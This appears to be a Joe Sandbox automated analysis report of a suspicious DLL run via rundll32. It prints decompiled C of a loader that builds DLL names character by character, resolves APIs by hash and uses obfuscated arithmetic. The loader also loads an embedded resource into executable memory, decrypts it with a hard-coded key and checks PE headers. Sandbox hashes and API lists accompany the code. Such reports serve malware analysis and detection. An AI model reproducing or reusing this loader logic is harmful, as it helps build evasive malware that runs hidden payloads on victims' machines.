				intOrPtr _t134;
				intOrPtr _t135;
				intOrPtr _t136;
				intOrPtr _t137;
				intOrPtr _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t141;
				intOrPtr _t143;
				intOrPtr _t144;
				intOrPtr _t146;
				intOrPtr _t147;
				void* _t165;
				void* _t167;
				signed int _t168;
				signed int _t170;
				signed int _t171;
				intOrPtr _t180;
				signed int _t183;
				signed int _t188;
				struct HINSTANCE__* _t203;
				void* _t204;
				signed int _t205;
				signed int _t206;
				void* _t209;
				void* _t214;
				signed int _t229;
				signed int _t235;
				signed int _t236;
				signed int _t237;
				char _t239;
				signed int _t275;
				signed int _t280;
				signed int _t289;
				void* _t290;
				void* _t291;
				intOrPtr* _t292;
				signed int _t293;
				void* _t294;
				signed int _t300;
				void* _t306;
				signed int _t307;
				void* _t308;
				struct HRSRC__* _t309;
				int _t310;
				signed int _t311;
				void* _t312;
				signed int _t315;
				signed int _t321;
				void* _t328;
				void* _t329;
				void* _t331;
				void* _t338;

				_t290 = __edi;
				_t102 =  *0x6eb89470; // 0xc96cff66
				 *(_t327 + 0x54) = _t102 ^ _t327;
				_t203 =  *(_t327 + 0x60);
				 *(_t327 + 0x10) = _t203;
				if( *(_t327 + 0x60) != 1) {
					L10:
					_pop(_t306);
					_pop(_t204);
					return E6EB63DE0(1, _t204,  *(_t327 + 0x54) ^ _t327, _t242, _t290, _t306);
				} else {
					_t307 =  *0x6eb8a9d4; // 0x0
					_t108 = E6EB643C3(_t203, _t242, __edi, _t307); // executed
					_t315 = 0;
					_t328 = _t327 + 4;
					if(_t108 == 0) {
						L6:
						 *((short*)(_t328 + 0x44)) = 0x6b;
						 *((short*)(_t328 + 0x46)) = 0x65;
						 *((short*)(_t328 + 0x4c)) = 0x65;
						 *((short*)(_t328 + 0x48)) = 0x72;
						 *((short*)(_t328 + 0x4a)) = 0x6e;
						 *((short*)(_t328 + 0x4e)) = 0x6c;
						 *((short*)(_t328 + 0x52)) = 0x32;
						 *((short*)(_t328 + 0x50)) = 0x33;
						 *((short*)(_t328 + 0x54)) = 0x2e;
						 *((short*)(_t328 + 0x58)) = 0x6c;
						 *((short*)(_t328 + 0x5a)) = 0x6c;
						 *((short*)(_t328 + 0x56)) = 0x64;
						 *((short*)(_t328 + 0x5c)) = 0;
						 *((short*)(_t328 + 0x18)) = 0x6e;
						 *((short*)(_t328 + 0x1a)) = 0x74;
						 *((short*)(_t328 + 0x1e)) = 0x6c;
						 *((short*)(_t328 + 0x1c)) = 0x64;
						 *((short*)(_t328 + 0x24)) = 0x64;
						 *((short*)(_t328 + 0x20)) = 0x6c;
						 *((short*)(_t328 + 0x22)) = 0x2e;
						 *((short*)(_t328 + 0x26)) = 0x6c;
						 *((short*)(_t328 + 0x2a)) = 0;
						 *((short*)(_t328 + 0x28)) = 0x6c;
						 *((short*)(_t328 + 0x2c)) = 0x6d;
						 *((short*)(_t328 + 0x30)) = 0x76;
						 *((short*)(_t328 + 0x2e)) = 0x73;
						 *((short*)(_t328 + 0x32)) = 0x63;
						 *((short*)(_t328 + 0x36)) = 0x74;
						 *((short*)(_t328 + 0x34)) = 0x72;
						 *((short*)(_t328 + 0x38)) = 0x2e;
						 *((short*)(_t328 + 0x3c)) = 0x6c;
						 *((short*)(_t328 + 0x3a)) = 0x64;
						 *0x6eb8a9bc = _t315;
						 *0x6eb8a9c0 = _t315;
						 *0x6eb8a9c4 = _t315;
						 *0x6eb8a9cc = _t315;
						 *0x6eb8a9c8 = _t315;
						 *0x6eb8a9d0 = _t315;
						 *0x6eb8a9d4 = _t315;
						 *((short*)(_t328 + 0x46)) = 0x6c;
						 *((short*)(_t328 + 0x48)) = 0;
						_t121 = E6EB41BD0(_t337);
						_t308 = _t121;
						 *((intOrPtr*)(_t328 + 0x18)) = E6EB41BD0(_t337);
						_t291 = E6EB41BD0(_t337);
						_t125 = E6EB41D20();
						 *0x6eb8d540 = _t125;
						_t126 = E6EB41D20();
						 *0x6eb8d53c = _t126;
						_t127 = E6EB41D20();
						 *0x6eb8d530 = _t127;
						_t128 = E6EB41D20();
						 *0x6eb8d520 = _t128;
						_t129 = E6EB41D20();
						 *0x6eb8d534 = _t129;
						_t130 = E6EB41D20();
						 *0x6eb8d54c = _t130;
						_t131 = E6EB41D20();
						_t329 = _t328 + 0x44;
						 *0x6eb8d4f8 = _t131;
						_t132 = E6EB41D20();
						 *0x6eb8d4fc = _t132;
						_t133 = E6EB41D20();
						 *0x6eb8d508 = _t133;
						_t134 = E6EB41D20();
						 *0x6eb8d524 = _t134;
						_t135 = E6EB41D20();
						 *0x6eb8d51c = _t135;
						_t136 = E6EB41D20();
						 *0x6eb8d518 = _t136;
						_t137 = E6EB41D20();
						 *0x6eb8d528 = _t137;
						_t138 = E6EB41D20();
						 *0x6eb8d550 = _t138;
						_t139 = E6EB41D20();
						 *0x6eb8d50c = _t139;
						_t140 = E6EB41D20();
						 *0x6eb8d504 = _t140;
						_t141 = E6EB41D20();
						 *0x6eb8d548 = _t141;
						 *0x6eb8d544 = E6EB41D20();
						_t143 = E6EB41D20();
						 *0x6eb8d52c = _t143;
						_t144 = E6EB41D20();
						 *0x6eb8d500 = _t144;
						_t292 = E6EB41D20();
						 *0x6eb8d538 = _t292;
						_t146 = E6EB41D20();
						 *0x6eb8d514 = _t146;
						_t147 = E6EB41D20();
						_t331 = _t329 + 0x80;
						 *0x6eb8d510 = _t147;
						_t309 =  *_t292(_t203, 0x18db, 0x6eb7ec80, _t308, 0x26cd7dca, _t308, 0x7b31093d, _t308, 0x4373804c, _t308, 0xd3f13870, _t308, 0x56e62f04, _t308, 0xcfb1d078, _t308, 0x58a70fe0,  *((intOrPtr*)(_t329 + 0x50)), 0x55fc08e8, _t308, 0xf4ae831f, _t308, 0x362cbb69, _t308, 0x6430e074, _t308, 0x6169a9dd, _t308, 0x2ae91975, _t308, 0x8badae6c, _t308, 0x60444859, _t308, 0x7994b016, _t291, 0x65925735, _t291, 0x65ea533a, _t291, 0x4e8a56ec, _t291, 0xf1fb160e, _t291, 0xd78e06bf, _t291, 0x652a1560, _t291, 0x63e21564, _t328 + 0x38, _t328 + 0x20, _t328 + 0x44, _t290);
						 *((intOrPtr*)(_t331 + 0x20)) = LoadResource(_t203, _t309);
						_t310 = SizeofResource(_t203, _t309);
						 *(_t331 + 0x10) = _t310;
						_t338 =  *0x6eb8d508 - _t315; // 0x76d266e0
						if(_t338 == 0) {
							_t293 =  *0x6eb8a9c8; // 0x0
							_t229 =  *0x6eb8a9bc; // 0x0
							_t311 =  *0x6eb8a9c4; // 0x0
							_t205 =  *0x6eb8a9c0; // 0x0
							_t63 = _t293 + 1; // 0x1
							_t65 = (_t205 - _t63 * _t229) * 4; // -15
							_t68 = _t311 * 4; // 0x5
							_t206 =  *0x6eb8a9cc; // 0x0
							_t321 =  *0x6eb8a9c0; // 0x0
							_t275 =  *0x6eb8a9d0; // 0x0
							_t310 =  *(_t331 + 0x14);
							_t81 = _t293 + 1; // 0x1
							_t315 = 0;
							__eflags = 0;
							_t165 = VirtualAlloc(0, _t310, _t311 * _t321 * _t229 + _t311 * _t321 * _t229 * 0x00000004 - ((_t311 + _t68 + 0x00000005) * _t293 + _t321 * _t229 + _t321 * _t229 * 0x00000004) * _t206 + 0x00001000 | ((_t206 + _t311) * _t206 - _t293 * _t229 * _t229 * _t229 + _t275 + _t311) *  *0x6eb8a9c0 - (_t206 + 0x00000001) * _t275 - _t81 * _t293 + _t229 + 0x00002000 + (((_t206 + _t311) * _t206 - _t293 * _t229 * _t229 * _t229 + _t275 + _t311) *  *0x6eb8a9c0 - (_t206 + 0x00000001) * _t275 - _t81 * _t293 + _t229) * 0x00000002, _t293 + _t311 + _t229 + (_t293 + _t311 + _t229) * 4 + (_t205 - _t63 * _t229 + _t65 - 0xf) *  *0x6eb8a9d0 + ((_t311 + _t68 + 5) * _t205 - 0xf) * _t206 + 0x40);
						} else {
							_t289 =  *0x6eb8a9c4; // 0x0
							_t183 =  *0x6eb8a9cc; // 0x0
							_t237 =  *0x6eb8a9d0; // 0x0
							_t51 = (_t183 - _t289) * 2; // -3
							_t188 =  *0x6eb8a9c0; // 0x0
							_t300 =  *0x6eb8a9bc; // 0x0
							_t62 = _t237 - _t188 + _t188 * 2 -  *0x6eb8a9c8 + _t289 + _t300 + (_t237 - _t188 + _t188 * 2 -  *0x6eb8a9c8 + _t289 + _t300) * 2 + 0x2000; // 0x1ffd
							_t165 =  *0x6eb8d508(0xffffffff, _t315, _t310, ((_t183 - _t289 + _t51 - 0x00000003) * _t237 + 0x00000003 -  *0x6eb8a9c8 + 6) *  *0x6eb8a9cc + _t62 | (0x00000001 - _t237 * _t300) * _t289 + 0x00001000, 0x40 + (_t183 - _t237 - _t289) * 4, _t315); // executed
						}
						_t294 = _t165;
						memcpy(_t294,  *(_t331 + 0x18), _t310);
						_t167 = malloc(0x204d); // executed
						_t209 = _t167;
						_t168 =  *0x6eb8a9cc; // 0x0
						_t87 = _t168 -  *0x6eb8a9c4 - 2; // -1857595846
						_t280 =  *0x6eb8a9c8; // 0x0
						_t89 = (_t280 - _t168) * 2; // -1857595789
						_t170 =  *0x6eb8a9c0; // 0x0
						_t171 =  *0x6eb8a9bc; // 0x0
						_t235 =  *0x6eb8a9c4; // 0x0
						_t94 = _t171 + 1; // 0x1
						_t236 =  *0x6eb8a9c0; // 0x0
						_t242 = _t209 + ((_t235 + _t94) *  *0x6eb8a9cc + _t235 + (_t235 * _t171 - 3) *  *0x6eb8a9d0 + _t236 * 2) * 2 + (_t235 + _t94) *  *0x6eb8a9cc + _t235 + (_t235 * _t171 - 3) *  *0x6eb8a9d0 + _t236 * 2;
						E6EB42060(_t209 + ((_t235 + _t94) *  *0x6eb8a9cc + _t235 + (_t235 * _t171 - 3) *  *0x6eb8a9d0 + _t236 * 2) * 2 + (_t235 + _t94) *  *0x6eb8a9cc + _t235 + (_t235 * _t171 - 3) *  *0x6eb8a9d0 + _t236 * 2, "+^lc?FUPR%6D6@hW^@hZu0RYT5tz+auO$ZYZa5DctZ9>+%cuRY%u*19n" - _t170 + _t170 * 2 + _t170 + _t170 * 2, (_t168 -  *0x6eb8a9c4 + _t87) *  *0x6eb8a9c0 + _t89 + 0x39);
						E6EB42340();
						 *0x6eb8d530(_t209, _t209, _t294, _t310);
						_t180 = E6EB44010();
						_t327 = _t331 + 0x34;
						 *0x6eb8d558 = _t180;
						 *0x6eb8d554( *((intOrPtr*)(_t331 + 0x4c)), 1, _t315, _t294, _t310);
						_pop(_t290);
						goto L10;
					} else {
						_t239 = 0;
						 *((intOrPtr*)(_t328 + 0xc)) = 0;
						if(_t307 > 0) {
							do {
								 *((char*)(_t239 + _t108)) = _t239;
								_t239 = _t239 + 1;
								_t336 = _t239 - _t307;
							} while (_t239 < _t307);
							 *((intOrPtr*)(_t328 + 0xc)) = _t239;
						}
						_push(_t108); // executed
						E6EB642E6(_t203, _t290, _t307, _t336); // executed
						_t328 = _t328 + 4;
						_t337 =  *((intOrPtr*)(_t328 + 0xc)) - _t307;
						if( *((intOrPtr*)(_t328 + 0xc)) != _t307) {
							E6EB6448D(_t203, _t242, _t290, _t307, __eflags);
							_t312 = 0x6eb7ec94;
							_pop(_t214);
							__eflags = 0;
							return E6EB63DE0(0, _t214,  *(_t328 + 0x64) ^ _t328 + 0x00000004, _t242, _t290, _t312);
						} else {
							goto L6;
						}
					}
				}
			}

APIs

_malloc.LIBCMT ref: 6EB456DD

Part of subcall function 6EB643C3: __FF_MSGBANNER.LIBCMT ref: 6EB643E6
Part of subcall function 6EB643C3: __NMSG_WRITE.LIBCMT ref: 6EB643ED
Part of subcall function 6EB643C3: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,6EB6AB74,00000000,00000001,00000000,?,6EB6AE3E,00000018,6EB85488,0000000C,6EB6AECF), ref: 6EB6443A

LoadResource.KERNEL32(?,00000000), ref: 6EB45A2B
SizeofResource.KERNEL32(?,00000000), ref: 6EB45A37
VirtualAllocExNuma.KERNEL32(000000FF,00000000,00000000,00001FFD,00000000,00000000), ref: 6EB45AD1
VirtualAlloc.KERNEL32(00000000,?,-00001000,?), ref: 6EB45B9E
memcpy.MSVCRT ref: 6EB45BAD
malloc.MSVCRT ref: 6EB45BB8
??3@YAXPAX@Z.MSVCRT ref: 6EB45C3D
_printf.LIBCMT ref: 6EB45C7F

Strings

+^lc?FUPR%6D6@hW^@hZu0RYT5tz+auO$ZYZa5DctZ9>+%cuRY%u*19n, xrefs: 6EB45BF4, 6EB45C01

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: AllocResourceVirtual$??3@AllocateHeapLoadNumaSizeof_malloc_printfmallocmemcpy
String ID: +^lc?FUPR%6D6@hW^@hZu0RYT5tz+auO$ZYZa5DctZ9>+%cuRY%u*19n
API String ID: 3670211829-193388795
Opcode ID: d6fb34260cf1e9d9e95fe543df05469b97e54d3625fabaea6448324ae365be16
Instruction ID: 0b5dff88dbada3316cd1c487dff48657c0c05857ab7b7a0e7d667c9ca4f91eaf
Opcode Fuzzy Hash: d6fb34260cf1e9d9e95fe543df05469b97e54d3625fabaea6448324ae365be16
Instruction Fuzzy Hash: 49E1B171A18B449BCB04DFB8D844A9FBBAAFFAA304F04492FA044D7394EB749504CF56

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55723 Relevance: 16.6, APIs: 11, Instructions: 106
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E6EB55723(void* __ecx) {
				struct _CRITICAL_SECTION* _v8;
				void* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct _CRITICAL_SECTION* _t34;
				void* _t35;
				void* _t36;
				long _t38;
				void* _t39;
				void* _t40;
				long _t51;
				signed char* _t53;
				intOrPtr _t56;
				signed int _t57;
				void* _t61;
				signed int _t68;
				void* _t72;

				_t59 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t72 = __ecx;
				_t1 = _t72 + 0x1c; // 0x6eb8c964
				_t34 = _t1;
				_v8 = _t34;
				EnterCriticalSection(_t34);
				_t3 = _t72 + 4; // 0x20
				_t56 =  *_t3;
				_t4 = _t72 + 8; // 0x3
				_t68 =  *_t4;
				if(_t68 >= _t56) {
					L2:
					_t68 = 1;
					if(_t56 <= 1) {
						L7:
						_t13 = _t72 + 0x10; // 0x33b0eb8
						_t35 =  *_t13;
						_t57 = _t56 + 0x20;
						_t83 = _t35;
						if(_t35 != 0) {
							_t36 = GlobalHandle(_t35);
							_v12 = _t36;
							GlobalUnlock(_t36);
							_t38 = E6EB4847A(_t59, __eflags, _t57, 8);
							_t61 = 0x2002;
							_t39 = GlobalReAlloc(_v12, _t38, ??);
						} else {
							_t51 = E6EB4847A(_t59, _t83, _t57, 8);
							_pop(_t61);
							_t39 = GlobalAlloc(2, _t51); // executed
						}
						if(_t39 == 0) {
							_t16 = _t72 + 0x10; // 0x33b0eb8
							_t72 =  *_t16;
							_t85 = _t72;
							if(_t72 != 0) {
								GlobalLock(GlobalHandle(_t72));
							}
							LeaveCriticalSection(_v8);
							_t39 = E6EB48B6C(_t57, _t61, _t68, _t72, _t85);
						}
						_t40 = GlobalLock(_t39);
						_t18 = _t72 + 4; // 0x20
						_v12 = _t40;
						E6EB65E80(_t68, _t40 +  *_t18 * 8, 0, _t57 -  *_t18 << 3);
						 *(_t72 + 4) = _t57;
						 *(_t72 + 0x10) = _v12;
					} else {
						_t10 = _t72 + 0x10; // 0x33b0eb8
						_t53 =  *_t10 + 8;
						while(( *_t53 & 0x00000001) != 0) {
							_t68 = _t68 + 1;
							_t53 =  &(_t53[8]);
							if(_t68 < _t56) {
								continue;
							}
							break;
						}
						if(_t68 >= _t56) {
							goto L7;
						}
					}
				} else {
					_t5 = _t72 + 0x10; // 0x33b0eb8
					if(( *( *_t5 + _t68 * 8) & 0x00000001) != 0) {
						goto L2;
					}
				}
				_t25 = _t72 + 0xc; // 0x3
				if(_t68 >=  *_t25) {
					_t26 = _t68 + 1; // 0x4
					 *((intOrPtr*)(_t72 + 0xc)) = _t26;
				}
				_t28 = _t72 + 0x10; // 0x33b0eb8
				 *( *_t28 + _t68 * 8) =  *( *_t28 + _t68 * 8) | 0x00000001;
				_t32 = _t68 + 1; // 0x4
				 *(_t72 + 8) = _t32;
				LeaveCriticalSection(_v8);
				return _t68;
			}

APIs

EnterCriticalSection.KERNEL32(6EB8C964,73FC5680,?,00000000,6EB8C948,6EB8C948,?,6EB55A86,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB55736
GlobalAlloc.KERNEL32(00000002,00000000,?,00000000,6EB8C948,6EB8C948,?,6EB55A86,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB5578C
GlobalHandle.KERNEL32(033B0EB8), ref: 6EB55795
GlobalUnlock.KERNEL32(00000000,?,00000000,6EB8C948,6EB8C948,?,6EB55A86,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB5579F
GlobalReAlloc.KERNEL32 ref: 6EB557B8
GlobalHandle.KERNEL32(033B0EB8), ref: 6EB557CA
GlobalLock.KERNEL32 ref: 6EB557D1
LeaveCriticalSection.KERNEL32(?,?,00000000,6EB8C948,6EB8C948,?,6EB55A86,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB557DA
GlobalLock.KERNEL32 ref: 6EB557E6
_memset.LIBCMT ref: 6EB55800
LeaveCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,?,?,6EB52E0A,?,?,6EB45D04,C96CFF66), ref: 6EB5582E

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock_memset
String ID:
API String ID: 496899490-0
Opcode ID: 1e6750b31711013780485710c06bd32641eac749072131b89cc580e3198a269b
Instruction ID: 4481b58d255cbe5142acee66a34acb2938a50c4d93f537f6c5973b45ce1918b0
Opcode Fuzzy Hash: 1e6750b31711013780485710c06bd32641eac749072131b89cc580e3198a269b
Instruction Fuzzy Hash: 7931AF71611B45EFDB20DFA4C888A8A7BF9FF44301F01892DE596D3A50DB30F9508B54

Uniqueness

Uniqueness Score: -1.00%

Function 6EB44010 Relevance: 15.0, APIs: 7, Strings: 1, Instructions: 1002
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E6EB44010() {
				void* __esi;
				signed int _t368;
				signed int _t369;
				signed int _t388;
				signed int _t399;
				signed int _t415;
				signed int _t425;
				signed int _t449;
				signed int _t460;
				void* _t464;
				signed int _t465;
				void* _t473;
				void* _t482;
				void* _t498;
				signed int _t516;
				signed int _t523;
				void* _t537;
				signed int _t540;
				signed int _t541;
				void* _t555;
				signed int _t564;
				void* _t565;
				signed int _t566;
				signed int _t569;
				void* _t572;
				void* _t573;
				signed int _t574;
				void* _t576;
				signed int _t590;
				signed int _t597;
				intOrPtr _t600;
				signed int _t607;
				void* _t613;
				void* _t639;
				signed int _t641;
				signed int _t656;
				signed int _t682;
				signed int _t689;
				signed int _t693;
				signed int _t694;
				signed int _t698;
				signed int _t701;
				signed int _t703;
				signed int _t704;
				signed int _t705;
				intOrPtr _t716;
				signed int _t717;
				signed int _t724;
				intOrPtr _t726;
				signed int _t727;
				signed int _t738;
				signed int _t739;
				signed int _t753;
				signed int _t763;
				signed int _t772;
				signed int _t780;
				signed int _t783;
				signed int _t784;
				signed int _t801;
				signed int _t806;
				signed int _t829;
				signed int _t831;
				signed int _t841;
				void* _t842;
				signed int _t850;
				signed int _t857;
				signed int _t863;
				signed int _t870;
				signed int _t873;
				signed int _t876;
				signed int _t878;
				signed int _t879;
				signed int _t880;
				signed int _t881;
				signed int _t884;
				signed int _t886;
				signed int _t904;
				signed int _t923;
				signed int _t942;
				signed int _t949;
				signed int _t959;
				signed int _t965;
				signed int _t985;
				signed int _t998;
				signed int _t1003;
				signed int _t1020;
				signed int _t1021;
				intOrPtr _t1025;
				void* _t1030;
				signed int _t1033;
				signed int _t1038;
				signed int _t1039;
				signed int _t1040;
				signed int _t1041;
				signed int _t1042;
				signed int _t1043;
				signed int _t1044;
				signed int _t1045;
				signed int _t1046;
				signed int _t1047;
				signed int _t1055;
				signed int _t1056;
				signed int _t1057;
				signed int _t1058;
				signed int _t1061;
				signed int _t1065;
				signed int _t1070;
				signed int _t1077;
				signed int _t1078;
				long _t1080;
				signed int _t1081;
				signed int _t1082;
				signed int _t1092;
				signed int _t1097;
				intOrPtr _t1116;
				signed int _t1119;
				signed int _t1120;
				signed int _t1192;
				void* _t1195;
				void* _t1196;
				void* _t1197;
				void* _t1198;
				void* _t1199;
				void* _t1200;

				_t904 =  *0x6eb8a9c8; // 0x0
				_t1082 =  *0x6eb8a9bc; // 0x0
				_t1065 =  *0x6eb8a9cc; // 0x0
				_t1033 =  *0x6eb8a9c4; // 0x0
				 *(_t1195 + 0x18) = _t1065 * _t1033;
				_t780 =  *0x6eb8a9c0; // 0x0
				_t368 = _t904 *  *0x6eb8a9d0;
				 *(_t1195 + 0x24) = _t368;
				_t369 =  *0x6eb8a9bc; // 0x0
				_t6 = (_t1082 + 3) * _t780 + _t368 + ((1 - _t904) * _t1065 + _t780 - 1) * _t1065 + 0x40; // 0x3f
				 *(_t1195 + 0x1c) = 0;
				if((_t780 +  *(_t1195 + 0x18) * _t1033 * 2 + _t780 + 2) * _t1065 +  *((intOrPtr*)(_t1195 + 0x60)) + (_t1033 + _t1033 - _t904 * 4 + _t780) * 2 < (_t369 - 1) * _t1033 + _t6) {
					L19:
					return 0;
				} else {
					_t1038 =  *0x6eb8a9c4; // 0x0
					_t1092 =  *0x6eb8a9bc; // 0x0
					_t656 = _t780 + _t780;
					 *(_t1195 + 0x28) = _t656;
					if(( *( *(_t1195 + 0x5c)) & 0x0000ffff) != (1 - _t780 * _t1038 - _t1092) *  *0x6eb8a9d0 - (_t1092 + 1) * _t1038 - _t656 - _t904 - _t1065 + 0x5a4f) {
						goto L19;
					} else {
						_t388 = _t904 * _t1038;
						 *(_t1195 + 0x14) = _t388;
						 *(_t1195 + 0x20) = _t388 + _t388;
						_t1097 =  *0x6eb8a9d0; // 0x0
						_t399 =  *0x6eb8a9bc; // 0x0
						if((6 -  *(_t1195 + 0x20)) * _t1065 - _t1097 + _t904 + _t1097 + _t904 +  *((intOrPtr*)(_t1195 + 0x60)) < ((_t1038 + _t1038 + (1 -  *(_t1195 + 0x24)) * 2) * _t780 -  *(_t1195 + 0x20) + _t1065 + 1) * _t780 + ( *(_t1195 + 0x24) * _t1065 * _t1038 +  *(_t1195 + 0x24) * _t1065 * _t1038 - 4) *  *0x6eb8a9d0 - _t904 * _t1065 * _t1065 - _t1065 + ( *(_t1195 + 0x5c))[0x1e] + _t904 + _t904 + _t399 + _t399 + 0xf8) {
							goto L19;
						} else {
							 *((intOrPtr*)(_t1195 + 0x10)) = (_t904 * 4 - 4) * _t780 - _t1065 + _t1038 + _t1065 + _t1038 + _t1065 + _t1038 + _t1065 + _t1038 + ( *(_t1195 + 0x5c))[0x1e] +  *(_t1195 + 0x5c);
							_t682 =  *0x6eb8a9d0; // 0x0
							if( *((intOrPtr*)( *((intOrPtr*)(_t1195 + 0x10)))) != (( *(_t1195 + 0x28) - _t904 + _t904) * _t682 * _t1038 + 0xa) * _t780 + ((2 - _t682) * _t682 + (0x1154 - _t1065) * 2) * 2 + (_t1038 + _t1038 - 4) * _t904 - _t1038 + _t1038) {
								goto L19;
							} else {
								_t415 =  *0x6eb8a9bc; // 0x0
								_t689 =  *0x6eb8a9d0; // 0x0
								_t56 = _t415 + 2; // 0x2
								if(( *( *((intOrPtr*)(_t1195 + 0x10)) + 4) & 0x0000ffff) != _t415 + _t56 * _t689 + 0x14c) {
									goto L19;
								} else {
									 *(_t1195 + 0x24) =  *( *((intOrPtr*)(_t1195 + 0x10)) + 0x38);
									_t65 = _t689 * 2; // -6
									_t68 = _t1038 * 2; // -9
									if(( *(_t1195 + 0x24) & _t689 * _t689 + _t689 * _t689 * 0x00000002 + (_t689 + _t65 - 0x00000006) * _t904 + (_t1038 + _t68 - 0x00000009) * _t1065 + 0x00000001) != 0) {
										goto L19;
									} else {
										_t425 =  *0x6eb8a9bc; // 0x0
										 *(_t1195 + 0x28) = _t425 + _t425;
										_t1116 =  *((intOrPtr*)(_t1195 + 0x10));
										_t693 =  *0x6eb8a9bc; // 0x0
										 *(_t1195 + 0x2c) = ( *(_t1116 + 0x14) & 0x0000ffff) + (( *(_t1195 + 0x18) - _t689 * _t425 + 1) * _t1038 + (_t689 + _t780) * _t1065 -  *(_t1195 + 0x28) - _t904 + _t780 + (( *(_t1195 + 0x18) - _t689 * _t425 + 1) * _t1038 + (_t689 + _t780) * _t1065 -  *(_t1195 + 0x28) - _t904 + _t780) * 4 << 4) + _t1116 + 0x18;
										 *(_t1195 + 0x20) = _t780 + _t780 * 2 + _t780 + _t780 * 2;
										_t449 = (_t693 * _t1065 + _t693 * _t1065 * 2 + _t693 * _t1065 + _t693 * _t1065 * 2 - 6) *  *0x6eb8a9d0 + ( *(_t1116 + 6) & 0x0000ffff) + ( *(_t1195 + 0x14) +  *(_t1195 + 0x14) * 2) * 2 -  *(_t1195 + 0x20);
										 *(_t1195 + 0x28) = _t449;
										if(_t449 != 0) {
											 *(_t1195 + 0x14) = _t1038 * _t1038;
											 *((intOrPtr*)(_t1195 + 0x30)) = (( *(_t1195 + 0x18) + _t693 + ( *(_t1195 + 0x18) + _t693) * 2 - 3) * _t780 - _t693 * _t1038 + _t693 * _t1038 * 2 - 9) * _t904 + _t693 + _t1038 + (_t693 + _t1038) * 2 -  *(_t1195 + 0x20);
											 *(_t1195 + 0x18) =  *(_t1195 + 0x2c) + 0xc;
											 *(_t1195 + 0x20) =  *(_t1195 + 0x28);
											do {
												if( *((intOrPtr*)( *(_t1195 + 0x18) + 4)) != 0) {
													_t639 = (_t1065 * _t1065 + _t780 * _t780) * _t1065 +  *(_t1195 + 0x14) + (_t693 + _t780) * 2 + (_t1065 * _t1065 + _t780 * _t780) * _t1065 +  *(_t1195 + 0x14) + (_t693 + _t780) * 2 + (_t1065 * _t1065 + _t780 * _t780) * _t1065 +  *(_t1195 + 0x14) + (_t693 + _t780) * 2 + (_t1065 * _t1065 + _t780 * _t780) * _t1065 +  *(_t1195 + 0x14) + (_t693 + _t780) * 2 - _t904 * 4 +  *( *(_t1195 + 0x18)) +  *((intOrPtr*)( *(_t1195 + 0x18) + 4));
												} else {
													_t1192 =  *0x6eb8a9d0; // 0x0
													_t641 =  *(_t1195 + 0x14) +  *(_t1195 + 0x14);
													 *(_t1195 + 0x2c) = _t641;
													_t763 =  *0x6eb8a9d0; // 0x0
													_t639 = ((_t641 - _t1192 + _t1192) * _t904 + _t693 + _t693) * _t904 + (4 -  *(_t1195 + 0x2c)) * _t780 - _t763 + _t763 + _t763 + _t763 +  *( *(_t1195 + 0x18)) + _t1038 + _t1038 +  *(_t1195 + 0x24);
												}
												if(_t639 >  *((intOrPtr*)(_t1195 + 0x30)) +  *(_t1195 + 0x1c)) {
													_t772 =  *0x6eb8a9d0; // 0x0
													 *(_t1195 + 0x1c) =  ~_t772 +  ~_t772 +  ~_t772 +  ~_t772 - _t904 * _t780 + _t1065 + _t904 * _t780 + _t1065 + _t639;
												}
												 *(_t1195 + 0x18) =  *(_t1195 + 0x18) + 0x28;
												_t138 = _t1195 + 0x20;
												 *_t138 =  *(_t1195 + 0x20) - 1;
												_t693 =  *0x6eb8a9bc; // 0x0
											} while ( *_t138 != 0);
										}
										_t140 = _t1038 + 2; // 0x2
										 *0x6eb8d50c(_t1195 + ((1 - _t780) * _t780 - _t904 * _t693 + _t140 * _t1038 + 8 << 4) + 0x34);
										_t694 =  *0x6eb8a9bc; // 0x0
										_t1039 =  *0x6eb8a9c0; // 0x0
										_t783 =  *0x6eb8a9c8; // 0x0
										_t1119 =  *0x6eb8a9c4; // 0x0
										_t784 = _t783 * _t694;
										 *(_t1195 + 0x2c) = _t784;
										_t149 = (_t784 - _t1119) * 4; // 0x8
